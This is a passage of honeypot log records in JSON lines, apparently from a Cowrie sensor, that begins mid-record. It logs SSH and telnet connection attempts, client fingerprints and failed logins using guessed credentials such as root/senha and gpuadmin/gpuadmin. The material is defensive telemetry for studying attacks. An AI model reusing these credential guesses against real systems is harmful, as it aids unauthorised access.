f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:50.005887Z","src_ip":"43.134.228.151","session":"50041d695fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.280481815338135,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:50.397899Z","src_ip":"152.42.224.71","session":"63b923690562","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:50.964278Z","src_ip":"43.134.228.151","session":"50041d695fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48070,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a42809c2c72","protocol":"ssh","message":"New connection: 31.40.204.166:48070 (159.203.135.109:22) [session: 1a42809c2c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:51.811889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:51.915875Z","src_ip":"31.40.204.166","session":"1a42809c2c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:51.990478Z","src_ip":"31.40.204.166","session":"1a42809c2c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:52.199056Z","src_ip":"43.134.228.151","session":"50041d695fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:52.611233Z","src_ip":"31.40.204.166","session":"1a42809c2c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42202,"dst_ip":"10.17.0.5","dst_port":23,"session":"c49db44761cf","protocol":"telnet","message":"New connection: 152.42.224.71:42202 (10.17.0.5:23) [session: c49db44761cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:53.085469Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:53.784900Z","src_ip":"31.40.204.166","session":"1a42809c2c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42212,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4810e82f016","protocol":"telnet","message":"New connection: 152.42.224.71:42212 (10.17.0.5:23) [session: e4810e82f016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:54.373954Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34070,"dst_ip":"10.17.0.5","dst_port":23,"session":"20df626c1830","protocol":"telnet","message":"New connection: 152.42.224.71:34070 (10.17.0.5:23) [session: 20df626c1830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:58.551869Z"}
{"eventid":"cowrie.session.closed","duration":26.810588836669922,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:23:59.415856Z","src_ip":"152.42.224.71","session":"0bcb1e3e52aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":49976,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb335185b490","protocol":"ssh","message":"New connection: 43.153.54.120:49976 (159.203.135.109:22) [session: cb335185b490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:01.009285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:01.012888Z","src_ip":"43.153.54.120","session":"cb335185b490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:01.079155Z","src_ip":"43.153.54.120","session":"cb335185b490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@vid19","message":"login attempt [root/C@vid19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:01.379762Z","src_ip":"43.153.54.120","session":"cb335185b490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:02.451215Z","src_ip":"43.153.54.120","session":"cb335185b490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43640,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b9d9c915d65","protocol":"ssh","message":"New connection: 31.40.204.166:43640 (159.203.135.109:22) [session: 5b9d9c915d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:03.920892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:03.989793Z","src_ip":"31.40.204.166","session":"5b9d9c915d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:04.087013Z","src_ip":"31.40.204.166","session":"5b9d9c915d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:04.711903Z","src_ip":"31.40.204.166","session":"5b9d9c915d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34086,"dst_ip":"10.17.0.5","dst_port":23,"session":"7811435a0ff8","protocol":"telnet","message":"New connection: 152.42.224.71:34086 (10.17.0.5:23) [session: 7811435a0ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:05.736391Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:05.897609Z","src_ip":"31.40.204.166","session":"5b9d9c915d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33516,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be8484a0683","protocol":"telnet","message":"New connection: 152.42.224.71:33516 (10.17.0.5:23) [session: 5be8484a0683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:09.424719Z"}
{"eventid":"cowrie.session.closed","duration":25.0490825176239,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:10.069547Z","src_ip":"152.42.224.71","session":"00b3dd3aa3d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.395023822784424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:13.380093Z","src_ip":"152.42.224.71","session":"95164b40f049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33528,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b0ef74ee1a","protocol":"telnet","message":"New connection: 152.42.224.71:33528 (10.17.0.5:23) [session: 30b0ef74ee1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:15.826721Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33696,"dst_ip":"159.203.135.109","dst_port":22,"session":"b750715b8306","protocol":"ssh","message":"New connection: 31.40.204.166:33696 (159.203.135.109:22) [session: b750715b8306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:17.013091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:17.017411Z","src_ip":"31.40.204.166","session":"b750715b8306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:17.202944Z","src_ip":"31.40.204.166","session":"b750715b8306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:17.899704Z","src_ip":"31.40.204.166","session":"b750715b8306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:19.106702Z","src_ip":"31.40.204.166","session":"b750715b8306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.129.226","src_port":41019,"dst_ip":"10.17.0.5","dst_port":23,"session":"317937e2e33e","protocol":"telnet","message":"New connection: 190.128.129.226:41019 (10.17.0.5:23) [session: 317937e2e33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:19.835981Z"}
{"eventid":"cowrie.session.closed","duration":10.966293811798096,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:20.390836Z","src_ip":"152.42.224.71","session":"5be8484a0683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36126,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6ba7de45008","protocol":"telnet","message":"New connection: 152.42.224.71:36126 (10.17.0.5:23) [session: c6ba7de45008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:23.139745Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":48346,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b58de59a683","protocol":"ssh","message":"New connection: 94.230.136.33:48346 (159.203.135.109:22) [session: 1b58de59a683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:23.333461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:23.338003Z","src_ip":"94.230.136.33","session":"1b58de59a683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:23.486117Z","src_ip":"94.230.136.33","session":"1b58de59a683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:24.107721Z","src_ip":"94.230.136.33","session":"1b58de59a683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:25.257864Z","src_ip":"94.230.136.33","session":"1b58de59a683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52004,"dst_ip":"10.17.0.5","dst_port":23,"session":"55925361567b","protocol":"telnet","message":"New connection: 152.42.224.71:52004 (10.17.0.5:23) [session: 55925361567b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:28.519775Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52014,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee8772e5a8b","protocol":"telnet","message":"New connection: 152.42.224.71:52014 (10.17.0.5:23) [session: aee8772e5a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:28.722529Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45666,"dst_ip":"159.203.135.109","dst_port":22,"session":"eeab29d7f21a","protocol":"ssh","message":"New connection: 31.40.204.166:45666 (159.203.135.109:22) [session: eeab29d7f21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:28.887035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:28.922494Z","src_ip":"31.40.204.166","session":"eeab29d7f21a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:29.009939Z","src_ip":"31.40.204.166","session":"eeab29d7f21a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:29.586185Z","src_ip":"31.40.204.166","session":"eeab29d7f21a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52018,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3baf333423c","protocol":"telnet","message":"New connection: 152.42.224.71:52018 (10.17.0.5:23) [session: b3baf333423c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:30.298570Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:30.896323Z","src_ip":"31.40.204.166","session":"eeab29d7f21a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52028,"dst_ip":"10.17.0.5","dst_port":23,"session":"537d2809d146","protocol":"telnet","message":"New connection: 152.42.224.71:52028 (10.17.0.5:23) [session: 537d2809d146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:31.450517Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52044,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd6d501176f","protocol":"telnet","message":"New connection: 152.42.224.71:52044 (10.17.0.5:23) [session: 1fd6d501176f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:31.702584Z"}
{"eventid":"cowrie.session.closed","duration":12.449045419692993,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:32.284932Z","src_ip":"190.128.129.226","session":"317937e2e33e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.81020784378052,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:33.526362Z","src_ip":"152.42.224.71","session":"c0ae9f56200c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36678,"dst_ip":"10.17.0.5","dst_port":23,"session":"0019d91c7871","protocol":"telnet","message":"New connection: 152.42.224.71:36678 (10.17.0.5:23) [session: 0019d91c7871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:39.786481Z"}
